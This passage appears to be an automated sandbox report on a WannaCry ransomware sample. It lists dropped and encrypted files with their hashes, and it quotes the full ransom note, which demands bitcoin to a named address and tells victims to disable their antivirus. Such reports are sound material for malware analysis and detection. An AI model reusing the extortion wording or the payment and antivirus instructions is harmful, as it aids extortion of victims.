                                                                                                      SHA-256:41472AD84A35989CF13E92D3989E528E39712A9BDAB64A80CE126666C48CC3C1
                                                                                                      SHA-512:F409963C4BBA711E8B80430693F38181BF2A60A90EB53BDB92815F50596CFA986714011232F8DC800882FB774C4C03352CF0633A9BAF901C86F20AFA1A031EF7
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:...o..D....a..~C....`6#@0.....p._..=_Y"1y.`.@=...F.mJ......wBR21p..+..X..x..h..<....^4.|."0.~.;..#...Q...m..W`VN.1.LR!......Y....3B..oS..`.%-|y.@...&..X1........U.2.....S..c..N.C.S...5.+q.9....%....q...0..*...*`.t.....~.........}e...%..(.(..*iC!CND..d....4v.........J.p....?.em..M.qF..5.9...o....{B..-3OATX.KH..c..p.i@.C4n....Xe'..D...6.|.....LY...~...(.I.Cb.........T......:w.....d../..yD.>...Y...3...0%.(..D...X.XfF.<.,......VwU.......A..:..K...o..V..\ n1HY.4..k.u._....s.T@oX.*.6....T.r...Ut.....W...../3....E.vq|.!.../..].....%.$...x..3.g,8My."H..=w.Q]...?\L.u}v.I.o........w....Q)6.0|...{M$d....p..,....=n......O.t.~C.V.0j#aj..P.^........,....M....^......?..0..R!.jot.zv.}.;.....9..L.i.W....Ye...2..=Po.#.$>k....._Y..".q..$4.Y...<..'H...}s.@.v.l...,5.a...Z...F..1.G...".&.x..."...#.]..BH.....M?....r..e_.m.F.K.....&..1j.C.IO.m>....W.C.O.8..^_....]i..5 ".t.WV...l|.8..U..!.E...7B......y5oe.bq.,..........xD..6R.{:r-k.e.&&1.7...V.!m=:...YtR...!....

                                                                                                      C:\Users\user\Documents\JDDHMPCDUJ.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.859405356455806
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk+wsdGUgOKSwm7iNodOd6FQsTeLT9nGdexGTjGsalgRHSYqt/HNbgcA:bk/k2UWNoyVBhGdzTSsvxSYsZg
                                                                                                      MD5:7072B199D9D2F819A5A716B7E0FAFE87
                                                                                                      SHA1:A0BCD9428C50CAB429B696B5624F8582A645F41F
                                                                                                      SHA-256:0E743302D2F99954A2E504865634B4C1DC4BCCA04DB3C3EB7C3B659C82A97006
                                                                                                      SHA-512:3DBE522204BFD328E9E70DAAD054DC9BEC0FAA187C5763A53B51EA0E06BCD4F88CCBBEA469D84D30F7874223EEF5A00479F5A03ACCE04D7219466B7294B55FF2
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....5.A.w97y4..g...+7.*sl.]vg...........h#.3T.....|.K.=..2:....h..X....#F*6^Vgb2F..(.......ukX0.s.X`.x.)4P.gR.h2....@......].\.XI...M.y.?R....R.L....\...0.....p......z........3..c..qQ..|.5..i.6o..[hZ.F.U.Y...1.]...^>.j..p.......{.......r..4&.u.............%T)...l.2z..... ..#.lH.........;6...N..*..n...[%..b).zX...i.....%.E`..GF....x.:..I....>y.....&c..!...O#2.$.t.x.:I....[.n*.V.......7x.*n..T....|f..t.~z.......o..2.b.].R.uq.......g...w..`..~..st?.zI5#.q.0j..l...........f..d...H.:y......&.....3......%.Je.A.g(\.>.@.!.......?8z.^.i..:.. ..U.cC....q...~...Kd.4..s..!.?.. %.k.6j..l...._..?.o....C.M.~.RU.gH-.>..Y......w\.\....!j.c^`n.Y=...E]...E....$x......J...q.\.>=c+N..&A...EL..rB^.Y.^..w A..+.b...?..0ycf.~...........9....L8.Ja. u...W"...S...*.....J+.b..%..n.....h.L.6Y..7.sr@>..C.:...[K..S...#......)..[..F.,P...j.:^....9(.&.a.m...\...C.Sp..wYVM].c.y..H..........m.X..gD..R....h ..}CXO.I."....n..\v.K...7.....pL...G...{....D..Z.\.

                                                                                                      C:\Users\user\Documents\JDDHMPCDUJ.png.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.859405356455806
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk+wsdGUgOKSwm7iNodOd6FQsTeLT9nGdexGTjGsalgRHSYqt/HNbgcA:bk/k2UWNoyVBhGdzTSsvxSYsZg
                                                                                                      MD5:7072B199D9D2F819A5A716B7E0FAFE87
                                                                                                      SHA1:A0BCD9428C50CAB429B696B5624F8582A645F41F
                                                                                                      SHA-256:0E743302D2F99954A2E504865634B4C1DC4BCCA04DB3C3EB7C3B659C82A97006
                                                                                                      SHA-512:3DBE522204BFD328E9E70DAAD054DC9BEC0FAA187C5763A53B51EA0E06BCD4F88CCBBEA469D84D30F7874223EEF5A00479F5A03ACCE04D7219466B7294B55FF2
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....5.A.w97y4..g...+7.*sl.]vg...........h#.3T.....|.K.=..2:....h..X....#F*6^Vgb2F..(.......ukX0.s.X`.x.)4P.gR.h2....@......].\.XI...M.y.?R....R.L....\...0.....p......z........3..c..qQ..|.5..i.6o..[hZ.F.U.Y...1.]...^>.j..p.......{.......r..4&.u.............%T)...l.2z..... ..#.lH.........;6...N..*..n...[%..b).zX...i.....%.E`..GF....x.:..I....>y.....&c..!...O#2.$.t.x.:I....[.n*.V.......7x.*n..T....|f..t.~z.......o..2.b.].R.uq.......g...w..`..~..st?.zI5#.q.0j..l...........f..d...H.:y......&.....3......%.Je.A.g(\.>.@.!.......?8z.^.i..:.. ..U.cC....q...~...Kd.4..s..!.?.. %.k.6j..l...._..?.o....C.M.~.RU.gH-.>..Y......w\.\....!j.c^`n.Y=...E]...E....$x......J...q.\.>=c+N..&A...EL..rB^.Y.^..w A..+.b...?..0ycf.~...........9....L8.Ja. u...W"...S...*.....J+.b..%..n.....h.L.6Y..7.sr@>..C.:...[K..S...#......)..[..F.,P...j.:^....9(.&.a.m...\...C.Sp..wYVM].c.y..H..........m.X..gD..R....h ..}CXO.I."....n..\v.K...7.....pL...G...{....D..Z.\.

                                                                                                      C:\Users\user\Documents\KLIZUSIQEN.pdf

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.794739715797955
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:cROGEcpZLr3LBv+MfV4Ese51wGs9OJp8BnjPR:ceU3LNvxTwGs0p81F
                                                                                                      MD5:ACDCFD18FE6915C0576C295B0C73CAA6
                                                                                                      SHA1:5926580079230543D9F67DB5A54EA5D7E5CB06BC
                                                                                                      SHA-256:178C547088AB08210989735732E78C6DAF62D57CB7D33E7E995FE947E0732AC6
                                                                                                      SHA-512:9C77E247D258D3F923B5E259B829AC6A8E9D5C34856E118F825C2BFB070C9017004A0D4D3280FF25FE4AC781FAD5DA0DADFC5FE0D99914DDFB134B94FB749670
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.t...J.=...>..Q........OX....qQ.k..c..S..:.9.x.4.....6.Ji2.V..-.T.B.m.H-....n.4.y62....p..... ]tH....g.......a....t.@.....+..K..mR.%...q.........x.|....j...Rlmn.b$..@`|.u~.7~.u..4.....4.Yw.}H.nl.C'.I..4.6.&..Ky..oZ.5.-.X+.......y.Jg).(...Ax@C.<r...U.f.&4..#..*...Id..f.[.`...P....u..e...c.../..ABV?..).N.p....[...(......%#.....QM)tbaC.q..VQ.......t.j.!. %....'n..........N(e...O.>^.?..T.$RsW...w.@..U.00.PL.Y....lTf2......@.$..b..p..E....1.J.....H......3j...b-8$.eR|.J........V....uP.c~t;.q..^...Z..u(+HQ6.u>.S..0.>.t4R.<VOJ.w.. ..f.P..hhil$..g.....[.*..._.U.Jh;.......\.u{7&O..V..HXr.3X...EEC..Sc9.........u...w......+.....z..j...4..D....../.?....8Bv.....].W..q.\0C=...+......^.....k.{..CB._@...c..$A...4...[$.0Y.L..0"..#....!....V.P...W....s...R.......]..Ob...{=.s.....0M:.'..d.B.b...Mb...8....gD...Q|...!.._....|.D.m!,us|....;&!.u...b.I).'....[.U.X,.`.iw........x...8...l...N.....R.".|.l.b).(`..$.n@wU...Q.an.&0?..\4....v..0s46Xz.FE..0...;......

                                                                                                      C:\Users\user\Documents\KLIZUSIQEN.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.850317157429815
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkyvL1YAHBxDocPkvV4GNVEqIkvPq6hrX/aConWU9EzRK+VTgMr4nDXZE4R:bkyvhYino7vV4GNVxra6hmCyWUlCT30H
                                                                                                      MD5:CB6B61849618D71E009A544EB083D9B3
                                                                                                      SHA1:6C4C925B5CC3967A0E5541B29DB0DEDF7302B549
                                                                                                      SHA-256:9C51605261B8F08B6FCB0B1CE8F6903A11048E948938E4591ECE69AF51D87802
                                                                                                      SHA-512:EE52BEC6D1FFA9FF4642E5900397D1C372B3A04EBAA9819E0E9C21F5FF735D8494E4964C71C970AF7263A902ABB4A64071240B8D57B24B964403FE319A1AAEA3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........t....P;i...kj..h.~s...7....`.?#.....h,.KH.........1....,.......L...H.A..D\.Y.&.x'...}..........2g..u!U...?o...J.Gnm...../p.e.......R.C..z...xm.d.L8...T@j+...yh.7..A7..#.0..:!.@.O..4...+.6V..."....^.w..%..%g.f..z.a...e.9.!t....J..x5..liyz.............g.u.z....p.\X..G.Lv]v.T*u...9?.bf..+h...[..).r.e..1<"........-.(..A./?. ..E..G....C.Cg.@31...JY#.i..XF.......&P+Z.....S.e..]1...U.].w......9.b.[L...v.`i..HA.J5LLS:.I:O.3..|......4....|..Y.....P...w...$.......(...l..iG$.=....>.T.D....y}....XS...X0...$...d..`..0 ~.......o..`..1k.o........*.[5..m..............fL...u.A.. W...\...s..E...5.@...@z....UO..g5z/.7J.j.v.....X..8....4............3...\w...?.?J.<...i=.....U...q.>.. ....l..Iz.!.|..^.|...X.g8..iVL1Z..U....$mb.j<.H....Q.}.....m.(..L/2...C.&.y`FF.|"rM\.....D..G..B.JI[/......~.o..?<.w..x..rA...i.........m.....V.&".'.&........R.#.Q.P...X.....~......*....h.:.4...Y.m.g.k/.kf.. #.....#...:....*...f.........e.........".PB}3.R9.

                                                                                                      C:\Users\user\Documents\KLIZUSIQEN.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.850317157429815
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkyvL1YAHBxDocPkvV4GNVEqIkvPq6hrX/aConWU9EzRK+VTgMr4nDXZE4R:bkyvhYino7vV4GNVxra6hmCyWUlCT30H
                                                                                                      MD5:CB6B61849618D71E009A544EB083D9B3
                                                                                                      SHA1:6C4C925B5CC3967A0E5541B29DB0DEDF7302B549
                                                                                                      SHA-256:9C51605261B8F08B6FCB0B1CE8F6903A11048E948938E4591ECE69AF51D87802
                                                                                                      SHA-512:EE52BEC6D1FFA9FF4642E5900397D1C372B3A04EBAA9819E0E9C21F5FF735D8494E4964C71C970AF7263A902ABB4A64071240B8D57B24B964403FE319A1AAEA3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........t....P;i...kj..h.~s...7....`.?#.....h,.KH.........1....,.......L...H.A..D\.Y.&.x'...}..........2g..u!U...?o...J.Gnm...../p.e.......R.C..z...xm.d.L8...T@j+...yh.7..A7..#.0..:!.@.O..4...+.6V..."....^.w..%..%g.f..z.a...e.9.!t....J..x5..liyz.............g.u.z....p.\X..G.Lv]v.T*u...9?.bf..+h...[..).r.e..1<"........-.(..A./?. ..E..G....C.Cg.@31...JY#.i..XF.......&P+Z.....S.e..]1...U.].w......9.b.[L...v.`i..HA.J5LLS:.I:O.3..|......4....|..Y.....P...w...$.......(...l..iG$.=....>.T.D....y}....XS...X0...$...d..`..0 ~.......o..`..1k.o........*.[5..m..............fL...u.A.. W...\...s..E...5.@...@z....UO..g5z/.7J.j.v.....X..8....4............3...\w...?.?J.<...i=.....U...q.>.. ....l..Iz.!.|..^.|...X.g8..iVL1Z..U....$mb.j<.H....Q.}.....m.(..L/2...C.&.y`FF.|"rM\.....D..G..B.JI[/......~.o..?<.w..x..rA...i.........m.....V.&".'.&........R.#.Q.P...X.....~......*....h.:.4...Y.m.g.k/.kf.. #.....#...:....*...f.........e.........".PB}3.R9.

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL.docx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.840733751960234
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:D1+C1vHrImntPFmc3U6BeHxCo9jHGASJY/iSXba1jFRztq4dtFf:YClLImntPFmc3Je0o5HG8mjZzdL
                                                                                                      MD5:46E9A156C9507EEE1B69B71B75641FBC
                                                                                                      SHA1:3F3161D29EBE73ADA9B7CA5BC20E7ACC7C575D42
                                                                                                      SHA-256:F451BD886DBAD61C4781F354EE1951D536632F4388C827FB4B10429C03A3D081
                                                                                                      SHA-512:BCB45039C53AE8E85ABD9887638E607E9C2F5120F68D45B3DBED9133E5B432797CB387F8E8450DBD910C12EB2B2199C20EB9D8DB8ED6DC060E5874D9F26E384F
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.{...]C...K.u..u..f......r.k.9R.=...dtz.Q..&U.X..'..D.,~..k...01.zMV.N.Q.fiX...t.3{i..W?......Rh.z.P.).~!.EHb.3......@*`.>..'.n.......9}2.O{......,/S.!.i.!...^l..h..\T6..'K=..8.1...?.S..s8}F...U;............"..-...QX~N'...#.y4...D.#0...:...k-.H|.#.o.!S...|7.9PW.X..L....e..u..._.u.R.......9.EG'...%...~..A6M+..z....|".H.\...{t'...2.c...i..E%...:ha....4...C.B..ot..C.".H..kp...0.I..5vX..WW..8!...g.m.(..a............=p.i9.......j.y....Nh...g...}.7...E.W...t. EWyR...4.I/(..m....\a...4<.J....-...$i.[..u..{........!&.y..n...6..D/wmZ.~~....6.T..b.5V....HP..W....\....N.]f..k..@..x../......sb.M.c....k..c.*J...).Ya.......P.~./.....<..:...?....r......I.}....vw.Q..]..EHa.+.{...Lc.,..f ?!.X.h...G.w.n>...X.$..0....r}.b..B.s.P.s..X^#~.D....1.....lakw)..Vh....=.1....2.@.kC{O(..p......Cb.\..|...4.re......r.9b.......W..bn.....S.>.s@.o.8..Mz.D:..UY..B..z!......'..fJ.....6>...W.....Z...%Z.......]`.#84d......!.U.....>v\........q..cY.`...WaE...c......~

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.852995772302891
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkAa2EGnXuG2gVygOXZJzkeucW1ocAwWTK9lrVf14wxuCiq1Da47:bkrbKWFZXZJzocW1oczzRfluCJDV7
                                                                                                      MD5:143AF60FADC9D95A9C9DED3FFCFA131A
                                                                                                      SHA1:B3D5EA0006787F3DDC11512AB11ED58E0152601A
                                                                                                      SHA-256:7FB0A6B202EA9250B3BB3670D33B6694D43B048CB4679969A33D8D656EE0B990
                                                                                                      SHA-512:F0F9D58AD66F6BB1FAB1019F087811EE9E16B946E60CA60296A3881E7D3380B67435257E1A9B6FD4E5FF350025FACEDF63D18B79E6BFEA70B137DF743533A87C
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......\.v.q..n&._.S.H_#...q&.P.].M.,.A.h'.U.vz....:.......h.L..Q...ui.G.e.d....lG..*....j6l.v...B.. .O./W./..}..s>R....\o.d...m..N7<&.DU.....^....kd.v......n.m9..y.u9<.........%..,.....).....8o9.....Z..............u.....&...`.m..w.W.g.....08.q............/.....<..,...7...v;^.C.6..@.(.# .4W..d+,.n....j.2.ER......g.........k`<..S.../7..........|r.\...xnN.r.-....^.V.![....f..i r..-.g."...~`l. .].C.. ..kfb.....z...Gd.!qh.[h.3..a.<..s/..U.L..].~...V..."...w...d.En.....+O.#.........B..m..[..rr.w.RE.H."qdt.-`......TM..........g..5..=s....(.?.V%.{"6~....lp..U.F.......a%#f....%...9k...P.e...C.2..#....V.....%-..... ...*1.kT.R..GCHM.S.#UM....86Iu.\o)S.!.NeR.....M!.i[6.H..;.a.z.....7.t.5...0...t]2..'....D..x..`vL....)..QQ.c*...hM5.3i.....).6;....$."....F3#..FJ..).9...O....-..C-..<...C....=...9.G.-.$...A...A.*.9...9/...9............e:.EN.D..f.;..a@..8&1...u'.,......'..M.`4....j.~............8#S.3...K..WG.T4I.*.... ..;..zb.lu.\..+..4..

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.852995772302891
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkAa2EGnXuG2gVygOXZJzkeucW1ocAwWTK9lrVf14wxuCiq1Da47:bkrbKWFZXZJzocW1oczzRfluCJDV7
                                                                                                      MD5:143AF60FADC9D95A9C9DED3FFCFA131A
                                                                                                      SHA1:B3D5EA0006787F3DDC11512AB11ED58E0152601A
                                                                                                      SHA-256:7FB0A6B202EA9250B3BB3670D33B6694D43B048CB4679969A33D8D656EE0B990
                                                                                                      SHA-512:F0F9D58AD66F6BB1FAB1019F087811EE9E16B946E60CA60296A3881E7D3380B67435257E1A9B6FD4E5FF350025FACEDF63D18B79E6BFEA70B137DF743533A87C
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......\.v.q..n&._.S.H_#...q&.P.].M.,.A.h'.U.vz....:.......h.L..Q...ui.G.e.d....lG..*....j6l.v...B.. .O./W./..}..s>R....\o.d...m..N7<&.DU.....^....kd.v......n.m9..y.u9<.........%..,.....).....8o9.....Z..............u.....&...`.m..w.W.g.....08.q............/.....<..,...7...v;^.C.6..@.(.# .4W..d+,.n....j.2.ER......g.........k`<..S.../7..........|r.\...xnN.r.-....^.V.![....f..i r..-.g."...~`l. .].C.. ..kfb.....z...Gd.!qh.[h.3..a.<..s/..U.L..].~...V..."...w...d.En.....+O.#.........B..m..[..rr.w.RE.H."qdt.-`......TM..........g..5..=s....(.?.V%.{"6~....lp..U.F.......a%#f....%...9k...P.e...C.2..#....V.....%-..... ...*1.kT.R..GCHM.S.#UM....86Iu.\o)S.!.NeR.....M!.i[6.H..;.a.z.....7.t.5...0...t]2..'....D..x..`vL....)..QQ.c*...hM5.3i.....).6;....$."....F3#..FJ..).9...O....-..C-..<...C....=...9.G.-.$...A...A.*.9...9/...9............e:.EN.D..f.;..a@..8&1...u'.,......'..M.`4....j.~............8#S.3...K..WG.T4I.*.... ..;..zb.lu.\..+..4..

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL.xlsx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.77849931728795
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:12:2XUbiwjYRGnxZ4nabI4X4rh6OOwhKUIdvljmBP28TGeXwaOeb3qyeAU3ZZN3DyYr:2XUIRGxZmtrMOO2KUI5JMD//E3DsC
                                                                                                      MD5:FD568E7F8BBD7F79864E93E6EF3C296A
                                                                                                      SHA1:D67F819B3F4A6EAC7355AE15F5E3BC3044C283C2
                                                                                                      SHA-256:36C853D1789673DD7EF166DD239F0CB123BFE5F51C3F3E3BBC2EA1ED6E215E95
                                                                                                      SHA-512:ED2496BEE72EE3FEAE180EBEFB09245CBABB23B734E81527F1DBB22149BC3CA76C74A951F996A086DC2A8B0302B978410C3CD938804FA62F4E67886354A78223
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.I.. g=..yw?.#..@.)tg.N.H..~..a.x..G..S.y....T.......D..../7...$.S..=..#......l..\./.7./s..QzD..sJ......../..\..@...#.Q....#.-...Y".[.W...o...".=+.A..w..e...>....@.r..7.RM.a.j..f..+..g.....|.}..y.u....M.7.'q....rQ.}.....E..M5#.......@s...zS?..U...:..v.7*.2.@..{....|.....L...V....*A.jS3...d....G?.VU.4$..OX......U......3*... .mU/..._q|.r.I.1....1....Y.......!.S.v./..`..R,).y......1..$..@.m........1P5.R........B~.z.....\.E....@...7{.....8......KUf-|.[5.0jz.:.......r.rJAQ..B.Zq.G.k.e....... ....s..,.qP.>......).ie,..*...A..^...9.QU. ...E..=e...S. V.~7f..h.I.......5...{[.iq..A.d.0....Hr.v.>U.....m)b...T..........1......!...s.....8k....L.F@...g;_.(~..L.....<....|.! <........Sq..YY.5...z.T....RU65.0...& .W.<...m.M..0....~\Ql.U......PXW.\.&{.y.N....0...:..^G..p.+.^)..k.....*.W=.(;.?.0#.....a7)_........Ob..8W.8........@.? =..2;..8.W......|2.5...1..>.z..;L$.........t;.p...b......9z.'?......m.D...........t\.0.....C.|8J...Y.M.B+E....W.[.h...

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.846721600104611
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkkLsECjvs5UKCDyEW8jLI0xrixnP+qVzqbbkIb4lcZFrlJ1Q:bkkgECTBKCDyDo2xnGqEjQ
                                                                                                      MD5:8094099DA6096B0F13FA9A1FD139820C
                                                                                                      SHA1:3600B60C0E66DAB44B7F2E921BC92866BF301A7F
                                                                                                      SHA-256:C1DB3E9EBD4F5EEE845238BEF0A59518D5374F7A7A058D6B9B05D5BA138B92E5
                                                                                                      SHA-512:A91ED3FAD823BF942BD64560DC0A6CB20AC71847854A38845EDEC2BE39E1A5F36DBB94BEDAC6EFA0FF38C4296CBCF44EB3D0BAD4CF96F94551ED2A22F30E2817
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......%..L.k....6.B$.Z.4f......!....N...`^2..Io}.X..(.RG}U<a...9k..........5...#"..a...%...m.?u.;..!1/...V..I..Y...Z..B.....HDq.{,e.c.WR@....Y..u..^7..G]....V...Z.....D.oF>2oQL...O......:G.b..4..o....].]..&&.....u....(.....j..".........'..z$.............VF........'G.)e.*..J..}.M....... r.w.X.t..w|C....p....A.8.p.s#..V....^.$.5UMi..I#..5..*c.Z.v.QZ.T.d.Y..4..jk...p...g..A....!6y.(.Pu.rA..h.H....Vg.d..Hh/Xl.....?w.l.......Q..T.-.v`..VM)V.....k.....BB.3d%..n.`6La~.....tps.....*....0.P..mQ....1.PG..y....:..:.(.7.9.2..c[..w.6..-.hk.....F.d.~0...e....z...0?...t..*.Y......U...'...w.....#..h&..6AX..v.6.sX..Z...3.M...Ff..T.e.!..)U....Ea"k.^3\.....z.........p.f.DI%$&;P8.D...W.9ix.:P`.ZB.....sjGXa...}.k@+i1...o.+h..i..BO....]........T8....8....E`f...y..m.WZ.b..|.3#3E....H.n..}......$e......+TV.m"wr.......:3w...W ..t..?U..n.7...}....y.]*v.+.U...\.s6.,." ...oP..u..Re..F..4...}..=g.{^=.8..A.r..W4D...1i.p.i..oq..Z....8..}.......u..a. >

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.846721600104611
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkkLsECjvs5UKCDyEW8jLI0xrixnP+qVzqbbkIb4lcZFrlJ1Q:bkkgECTBKCDyDo2xnGqEjQ
                                                                                                      MD5:8094099DA6096B0F13FA9A1FD139820C
                                                                                                      SHA1:3600B60C0E66DAB44B7F2E921BC92866BF301A7F
                                                                                                      SHA-256:C1DB3E9EBD4F5EEE845238BEF0A59518D5374F7A7A058D6B9B05D5BA138B92E5
                                                                                                      SHA-512:A91ED3FAD823BF942BD64560DC0A6CB20AC71847854A38845EDEC2BE39E1A5F36DBB94BEDAC6EFA0FF38C4296CBCF44EB3D0BAD4CF96F94551ED2A22F30E2817
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......%..L.k....6.B$.Z.4f......!....N...`^2..Io}.X..(.RG}U<a...9k..........5...#"..a...%...m.?u.;..!1/...V..I..Y...Z..B.....HDq.{,e.c.WR@....Y..u..^7..G]....V...Z.....D.oF>2oQL...O......:G.b..4..o....].]..&&.....u....(.....j..".........'..z$.............VF........'G.)e.*..J..}.M....... r.w.X.t..w|C....p....A.8.p.s#..V....^.$.5UMi..I#..5..*c.Z.v.QZ.T.d.Y..4..jk...p...g..A....!6y.(.Pu.rA..h.H....Vg.d..Hh/Xl.....?w.l.......Q..T.-.v`..VM)V.....k.....BB.3d%..n.`6La~.....tps.....*....0.P..mQ....1.PG..y....:..:.(.7.9.2..c[..w.6..-.hk.....F.d.~0...e....z...0?...t..*.Y......U...'...w.....#..h&..6AX..v.6.sX..Z...3.M...Ff..T.e.!..)U....Ea"k.^3\.....z.........p.f.DI%$&;P8.D...W.9ix.:P`.ZB.....sjGXa...}.k@+i1...o.+h..i..BO....]........T8....8....E`f...y..m.WZ.b..|.3#3E....H.n..}......$e......+TV.m"wr.......:3w...W ..t..?U..n.7...}....y.]*v.+.U...\.s6.,." ...oP..u..Re..F..4...}..=g.{^=.8..A.r..W4D...1i.p.i..oq..Z....8..}.......u..a. >

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
